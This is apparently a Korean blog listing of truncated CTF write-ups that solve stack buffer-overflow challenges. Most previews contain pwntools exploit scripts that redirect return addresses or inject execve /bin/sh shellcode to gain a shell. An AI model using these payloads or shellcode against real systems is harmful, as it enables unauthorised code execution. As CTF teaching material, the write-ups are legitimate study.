목록buffer (31)
ii4gsp
파일을 다운받아 주자. IDA로 열어보면 main()함수에서 welcome()함수를 호출한다. welcome()함수에서는 welcome의 주소를 출력해주고 scanf()함수로 v1에 입력을 받는다. scanf()함수에서 취약점이 발생한다. v1 ~ sfp = 22이다. j0n9hyun()함수에서 flag를 출력해준다. welcome()함수의 ret를 j0n9hyun()함수로 조작해주면 된다. welcome() offset = 0x909 j0n9hyun() offset = 0x890 0x909 - 0x890 = 0x79 welcome()함수와 j0n9hyun()함수는 0x79만큼 떨어져 있다. from pwn import * r = remote('ctf.j0n9hyun.xyz', 3008) r.recvun..
파일을 다운받아 주자. IDA로 열어보면 Data를 입력받고 입력받은곳의 주소를 출력해준다. y나 Y를 입력하면 무한루프를 돌 수 있다. s ~ sfp는 140이다. s에 쉘 코드를 넣고 ret를 s의 주소로 해주면 된다. from pwn import * r = remote('ctf.j0n9hyun.xyz', 3006) shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80' r.recvuntil('Data : ') r.sendline('asd') buffer = int(r.recv(10), 16) r.recvuntil('Again (y/n): ') r.se..
파일을 다운받아 주자. IDA로 열어보면 버퍼를 0x6D30만큼 할당한다. 즉, 10진수로 27,952만큼 할당한다. printf()함수로 버퍼의 주소를 출력한다. gets()함수로 길이 제한없이 버퍼를 입력받는다. gets()함수에서 취약점이 발생한다. from pwn import * r = remote('ctf.j0n9hyun.xyz', 3005) shellcode = '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05' r.recvuntil(': ') buffer = int(r.recv(14), 16) payload = '' payload += shellcode payload += '..
파일을 다운받아 주자. IDA로 열어보면 scanf()함수에서 취약점이 발생한다. callMeMaybe()함수에서 쉘을 실행시킨다. main()함수의 ret를 callMeMaybe()의 함수로 조작해주면 된다. callMeMaybe()함수의 주소는 0x0000000000400606이다. dummy 280byte를 채우고 callMeMaybe()함수의 주소를 넣어주면 된다. from pwn import * r = remote('ctf.j0n9hyun.xyz', 3004) payload = '' payload += '\x90' * 280 payload += p64(0x0000000000400606) r.sendline(payload) r.interactive() 소스코드를 작성해주자.
파일을 다운받아 주자. IDA로 열어보면 read()함수로 name에 0x32만큼 값을 넣는다. name은 전역변수이다. 그리고 gets()함수로 변수 s에 입력을한다. gets()함수에서 취약점이 발생한다. s ~ sfp = 24 read함수로 name에 쉘 코드를 넣어놓고 ret를 name의 주소로하면 쉘을 획득한다. name의 주소는 0x0804A060 이다. from pwn import * r = remote('ctf.j0n9hyun.xyz', 3003) shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80' r.recvuntil('Name : ')..
파일을 다운받아 주자. IDA로 열어보면 s는 128만큼 할당받았다. fgets()함수에서는 133byte만큼 입력받는다. v5는 sup()함수를 가리키고있다. 128byte를 주고 shell()함수의 주소를 전달하면 쉘을 획득한다. shell()함수의 주소는 0x0804849B이다. from pwn import * r = remote("ctf.j0n9hyun.xyz", 3001) payload = '' payload += '\x90' * 128 payload += p32(0x0804849B) r.sendline(payload) r.interactive() 소스코드를 작성해주자.
파일을 다운받아 주자. 파일을 IDA로 열어보면 v5가 0xdeadbeef면 쉘을 획득한다. s와 v5의 거리는 40byte이다. fgets()함수로 s에 45만큼 입력받으니 40byte를 채우고 0xdeadbeef를 입력해주면 된다. from pwn import * r = remote("ctf.j0n9hyun.xyz", 3000) payload = '' payload += '\x90' * (0x34 - 0xc) payload += p32(0xdeadbeef) r.sendline(payload) r.interactive() 소스코드를 작성해주자.
ssh서버에 접속해주고 passcode파일의 소스코드를 보자. login() 함수를 보면 변수 passcode1, passcode2가 있다. scanf()함수를 통해 입력을 받는데 일반적으로 scanf()를 사용할때 scanf("%d", &passcode1);형태일것 이다. 하지만 scanf("%d", passcode1); &가 빠져있다. passcode1이라는 변수에 값을 저장하는게 아니라 passcode1이라는 변수 안에 있는 값의 주소에 입력값을 넣는다. scanf()함수를통해 원하는 주소의 값을 입력한다면 passcode를 조작할 수 있다. welcome()함수에서는 name변수에 100byte를 할당한다. scanf()함수로 100byte만큼만 입력을 받는다. 부분을 보면 name변수는 ebp-..